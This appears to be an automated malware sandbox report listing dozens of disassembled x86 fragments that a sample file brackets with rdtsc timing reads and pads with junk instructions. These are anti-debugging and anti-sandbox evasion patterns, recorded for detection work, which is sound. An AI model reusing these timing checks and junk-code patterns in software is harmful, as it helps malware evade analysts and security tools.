Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EC7CEE second address: EC7D08 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F3F0C7D6246h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EC7D08 second address: EC7D0C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ECEB05 second address: ECEB28 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3F0C7D6249h 0x00000007 jl 00007F3F0C7D6236h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ECEC67 second address: ECEC71 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007F3F0D2D4AB6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ECEC71 second address: ECEC75 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ECEC75 second address: ECEC9A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jno 00007F3F0D2D4ACAh 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ECEC9A second address: ECECA8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 jng 00007F3F0C7D6236h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ECEF17 second address: ECEF1D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ECEF1D second address: ECEF46 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 jmp 00007F3F0C7D6240h 0x0000000d jng 00007F3F0C7D6236h 0x00000013 push esi 0x00000014 pop esi 0x00000015 popad 0x00000016 push eax 0x00000017 push edx 0x00000018 jnl 00007F3F0C7D6236h 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ED4F3E second address: ED4F86 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F3F0D2D4ACCh 0x00000008 jmp 00007F3F0D2D4AC6h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f mov eax, dword ptr [esp+04h] 0x00000013 jmp 00007F3F0D2D4AC3h 0x00000018 mov eax, dword ptr [eax] 0x0000001a push eax 0x0000001b push edx 0x0000001c push eax 0x0000001d push edx 0x0000001e jmp 00007F3F0D2D4ABBh 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ED4F86 second address: ED4FA0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3F0C7D6246h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ED4FA0 second address: ED4FCD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3F0D2D4ABAh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp+04h], eax 0x0000000d push eax 0x0000000e push edx 0x0000000f push ecx 0x00000010 jmp 00007F3F0D2D4AC7h 0x00000015 pop ecx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ED4FCD second address: ED4FD3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ED4FD3 second address: ED4FD7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ED511B second address: ED5131 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jns 00007F3F0C7D6236h 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e mov eax, dword ptr [esp+04h] 0x00000012 push eax 0x00000013 push esi 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ED5131 second address: ED514F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pop eax 0x00000006 mov eax, dword ptr [eax] 0x00000008 push eax 0x00000009 push edx 0x0000000a push edi 0x0000000b jmp 00007F3F0D2D4AC2h 0x00000010 pop edi 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ED521F second address: ED523F instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pushad 0x00000004 popad 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [esp+04h] 0x0000000c jmp 00007F3F0C7D623Ch 0x00000011 mov eax, dword ptr [eax] 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 pushad 0x00000017 popad 0x00000018 pop eax 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ED523F second address: ED5245 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ED5245 second address: ED5249 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EDA339 second address: EDA370 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F3F0D2D4AC9h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push ebx 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F3F0D2D4ABAh 0x00000012 jmp 00007F3F0D2D4ABDh 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ED97ED second address: ED97F8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop ebx 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ED97F8 second address: ED97FE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ED9EEE second address: ED9EF2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ED9EF2 second address: ED9F0B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F3F0D2D4AC3h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ED9F0B second address: ED9F15 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F3F0C7D623Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EDF94A second address: EDF952 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push ecx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EDE7D8 second address: EDE7F0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3F0C7D623Bh 0x00000007 jg 00007F3F0C7D6236h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EDE7F0 second address: EDE7F6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EDEBFD second address: EDEC01 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EDEC01 second address: EDEC26 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 ja 00007F3F0D2D4AD3h 0x0000000c jmp 00007F3F0D2D4AC7h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EDED86 second address: EDED8E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push edi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EDF03F second address: EDF05B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007F3F0D2D4AB6h 0x0000000a popad 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F3F0D2D4ABEh 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EDF05B second address: EDF063 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 push ebx 0x00000007 pop ebx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EDF1D3 second address: EDF1EF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3F0D2D4AC8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EDF1EF second address: EDF1FB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 jo 00007F3F0C7D6236h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EDF60A second address: EDF60E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EDF60E second address: EDF612 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EDF612 second address: EDF618 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EDF618 second address: EDF627 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 pop eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b push edx 0x0000000c pop edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EDF627 second address: EDF62D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EDF62D second address: EDF636 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push ebx 0x00000008 pop ebx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EDF636 second address: EDF63C instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EDF63C second address: EDF66F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3F0C7D6248h 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F3F0C7D6247h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EE2BC3 second address: EE2BC8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EE2BC8 second address: EE2BE4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3F0C7D6244h 0x00000007 push eax 0x00000008 push edx 0x00000009 push edi 0x0000000a pop edi 0x0000000b push eax 0x0000000c pop eax 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EEA405 second address: EEA409 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EEA409 second address: EEA413 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push ebx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EEA413 second address: EEA454 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F3F0D2D4ABFh 0x00000009 pop ebx 0x0000000a pushad 0x0000000b push edi 0x0000000c pop edi 0x0000000d push ebx 0x0000000e pop ebx 0x0000000f jnc 00007F3F0D2D4AB6h 0x00000015 popad 0x00000016 pushad 0x00000017 jmp 00007F3F0D2D4ABBh 0x0000001c pushad 0x0000001d popad 0x0000001e pushad 0x0000001f popad 0x00000020 popad 0x00000021 push eax 0x00000022 push edx 0x00000023 jmp 00007F3F0D2D4ABCh 0x00000028 pushad 0x00000029 popad 0x0000002a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EE8FE6 second address: EE8FEC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EE8FEC second address: EE8FF2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EE8FF2 second address: EE9019 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 jmp 00007F3F0C7D623Eh 0x0000000d jng 00007F3F0C7D6236h 0x00000013 jne 00007F3F0C7D6236h 0x00000019 popad 0x0000001a push ecx 0x0000001b push eax 0x0000001c pop eax 0x0000001d pop ecx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EE9019 second address: EE901E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EE983D second address: EE9845 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EE9845 second address: EE9884 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F3F0D2D4AC2h 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b jnl 00007F3F0D2D4AB6h 0x00000011 pop edx 0x00000012 pop edx 0x00000013 pop eax 0x00000014 push eax 0x00000015 push edx 0x00000016 pushad 0x00000017 jne 00007F3F0D2D4AB6h 0x0000001d pushad 0x0000001e popad 0x0000001f push edx 0x00000020 pop edx 0x00000021 popad 0x00000022 jmp 00007F3F0D2D4AC1h 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EE9A04 second address: EE9A0A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EE9A0A second address: EE9A10 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EE9A10 second address: EE9A15 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EE9A15 second address: EE9A29 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F3F0D2D4ABEh 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EE9A29 second address: EE9A2D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EE9A2D second address: EE9A4A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3F0D2D4AC9h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EE9CEA second address: EE9CEF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EE9CEF second address: EE9D06 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3F0D2D4ABCh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c push edi 0x0000000d pop edi 0x0000000e push ecx 0x0000000f pop ecx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EE9D06 second address: EE9D28 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F3F0C7D6236h 0x00000008 jmp 00007F3F0C7D6240h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 js 00007F3F0C7D6236h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E8DA7F second address: E8DA88 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 push edi 0x00000007 pop edi 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF0AE3 second address: EF0AE9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EB3E9B second address: EB3EA1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EB4417 second address: EB441B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EB4604 second address: EB460A instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EB460A second address: EB4650 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pushad 0x00000004 popad 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xor dword ptr [esp], 260EB67Eh 0x0000000f push 00000000h 0x00000011 push esi 0x00000012 call 00007F3F0C7D6238h 0x00000017 pop esi 0x00000018 mov dword ptr [esp+04h], esi 0x0000001c add dword ptr [esp+04h], 00000017h 0x00000024 inc esi 0x00000025 push esi 0x00000026 ret 0x00000027 pop esi 0x00000028 ret 0x00000029 mov edx, dword ptr [ebp+122D2B6Ch] 0x0000002f push D91D68B8h 0x00000034 pushad 0x00000035 ja 00007F3F0C7D6238h 0x0000003b push eax 0x0000003c push edx 0x0000003d push ebx 0x0000003e pop ebx 0x0000003f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EB487B second address: EB487F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EB487F second address: EB4883 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EB4883 second address: EB4894 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov eax, dword ptr [eax] 0x00000008 jl 00007F3F0D2D4AC0h 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EB4894 second address: EB48A4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 mov dword ptr [esp+04h], eax 0x0000000b push edi 0x0000000c push eax 0x0000000d push edx 0x0000000e push ecx 0x0000000f pop ecx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EB52A5 second address: E8DA7F instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 ja 00007F3F0D2D4AC2h 0x0000000e jno 00007F3F0D2D4ABCh 0x00000014 nop 0x00000015 mov edx, dword ptr [ebp+1248617Dh] 0x0000001b call dword ptr [ebp+122D38ECh] 0x00000021 jmp 00007F3F0D2D4AC3h 0x00000026 push eax 0x00000027 push edx 0x00000028 push edi 0x00000029 jl 00007F3F0D2D4AB6h 0x0000002f pop edi 0x00000030 pushad 0x00000031 push eax 0x00000032 push edx 0x00000033 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF0D96 second address: EF0D9A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF0D9A second address: EF0D9E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF15DC second address: EF1646 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 ja 00007F3F0C7D6236h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d pushad 0x0000000e popad 0x0000000f push edx 0x00000010 pop edx 0x00000011 jmp 00007F3F0C7D6242h 0x00000016 popad 0x00000017 push ecx 0x00000018 pushad 0x00000019 popad 0x0000001a ja 00007F3F0C7D6236h 0x00000020 pop ecx 0x00000021 popad 0x00000022 pushad 0x00000023 jp 00007F3F0C7D623Ah 0x00000029 push ebx 0x0000002a pop ebx 0x0000002b pushad 0x0000002c popad 0x0000002d jnc 00007F3F0C7D624Ch 0x00000033 jmp 00007F3F0C7D6246h 0x00000038 push eax 0x00000039 push edx 0x0000003a jmp 00007F3F0C7D6242h 0x0000003f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF45FD second address: EF4617 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push edx 0x00000006 js 00007F3F0D2D4AB6h 0x0000000c pop edx 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 jo 00007F3F0D2D4AB6h 0x00000018 push esi 0x00000019 pop esi 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF4617 second address: EF4623 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F3F0C7D6236h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF4623 second address: EF462F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jg 00007F3F0D2D4AB6h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF462F second address: EF4633 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF4633 second address: EF4644 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3F0D2D4ABDh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF4A3D second address: EF4A41 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF4A41 second address: EF4A61 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3F0D2D4AC8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push ebx 0x0000000a pushad 0x0000000b popad 0x0000000c pop ebx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF71A4 second address: EF71B0 instructions: 0x00000000 rdtsc 0x00000002 je 00007F3F0C7D6236h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF71B0 second address: EF71CC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F3F0D2D4AC8h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF71CC second address: EF71D0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EFB24E second address: EFB258 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007F3F0D2D4AB6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EFB551 second address: EFB55B instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F3F0C7D6242h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EFB6CE second address: EFB6F0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push esi 0x00000007 pop esi 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F3F0D2D4AC7h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EFE5B6 second address: EFE5BD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EFE5BD second address: EFE5C7 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push esi 0x00000004 pop esi 0x00000005 pop esi 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EFE5C7 second address: EFE5CB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EFEAFE second address: EFEB17 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F3F0D2D4AB6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b jl 00007F3F0D2D4AB6h 0x00000011 jbe 00007F3F0D2D4AB6h 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
